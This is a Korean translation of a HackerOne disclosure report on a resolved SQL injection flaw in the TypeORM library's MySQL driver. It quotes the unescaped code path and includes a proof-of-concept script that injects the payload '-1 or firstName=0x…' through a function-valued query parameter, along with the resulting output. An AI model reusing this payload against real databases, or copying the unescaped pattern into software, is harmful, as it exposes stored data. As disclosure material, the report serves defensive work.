출처 : [hackerone hacktivity, 작성자 : verichains (verichains)] https://hackerone.com/reports/506654
[ 본 이슈는 해결 된 상태이며, 취약점은 한국시각으로 2019년 4월 2일 오후 1시 25분에 공개되었습니다. Node.js third-party modules에 리포팅 되었으며, 소스코드는 typeorm의 자산입니다. 취약점의 종류는 SQL Injection이며, 포상금은 없습니다. 해당 취약점은 해당 도메인에서 8.6/10 정도의 심각성을 내포하고 있습니다. ]
(써드파티 모듈인) Typeorm의 SQL 인젝션을 리포팅 하고 싶습니다. 이 취약점은 데이터베이스의 자료들을 노출시킵니다.
TypeORM은 Nodejs, 브라우저, Cordova, PhoneGap, Ionic, React Native, NativeScript, Expo 그리고 Electron platforms에서 실행될 수 있는 ORM입니다. 또한 TypeScript와 함께 쓰일 수 있으며 자바스크립트(ES5, ES6, ES7, ES8)와도 쓰일 수 있습니다. 이 모듈의 목적은 최신의 자바스크립트 기능들을 항시 지원해주는 것이고 추가 기능들을 제공해주는 것 이며 데이터베이스를 사용하는 어떤 종류의 애플리케이션 개발이라도 지원해줄 수 있도록 합니다. 몇 개 안되는 테이블을 가진 작은 애플리케이션부터 큰 스케일의 많은 데이터베이스를 가진 기업형 애플리케이션까지 말입니다.
현존하는 다른 자바스크립트 ORM들과는 다르게, TypeORM은 액티브 레코드와 데이터 매퍼 패턴 모두 지원하며, 이 말은 당신이 더 생산적인 방법으로 고 퀄리티의 중복이 적고 확장성있으며 유지가 잘되는 애플리케이션을 만들 수 있다는 것입니다.
npm의 모듈 페이지의 숫자들과 아래의 스탯들을 교체하세요(Replace stats below with numbers from npm’s module page:) :
만약 한 함수가 이스케이핑을 하지 못한다면 특정한 맥락에서 SQL 인젝션이 공격자에 의해 수행될 여지를 주게되는데 이 때 MysqlDriver.ts의 escapeQueryWithParameters 메소드는 직접적으로 파라미터에서 값을 리턴합니다. https://github.com/typeorm/typeorm/blob/d9f5581b22c4cccfab55ee23fad699e1c8acadf8/src/driver/mysql/MysqlDriver.ts#L387
if (value instanceof Function) {
return value();
} else {
escapedParameters.push(value);
return "?";
}
의도치 않았고 잘은 모르겠지만, 그 문서 안에 정보는 없었고, (콜백 함수에 의해 값이 할당된) 만약 누군가가 이 패턴을 적용시킨다면 이것은 SQL 인젝션 공격이 될 것 입니다.
npx typeorm init --name Test --database mysql
import "reflect-metadata";
import {createConnection} from "typeorm";
import {User} from "./entity/User";
createConnection().then(async connection => {
console.log("Inserting a new user into the database...");
for(var i=0;i<10;i++) {
const user = new User();
user.firstName = `Timber ${i}`;
user.lastName = "Saw";
user.age = 25 + i;
await connection.manager.save(user);
console.log("Saved a new user with id: " + user.id);
}
const repo = connection.getRepository(User);
console.log(await repo.createQueryBuilder().where('firstName = :name', {name: () => "-1 or firstName=0x54696d6265722033"}).getOne());
process.exit(0);
}).catch(error => console.log(error));
(0x54696d6265722033 는 “Timber 3” 입니다)
출력 :
Inserting a new user into the database...
User { id: 5, firstName: 'Timber 3', lastName: 'Saw', age: 28 }
취약점이 발견된 스택에 관련된 기술적인 정보들
공격자가 SQL 인젝션 공격을 수행할 수 있게 합니다.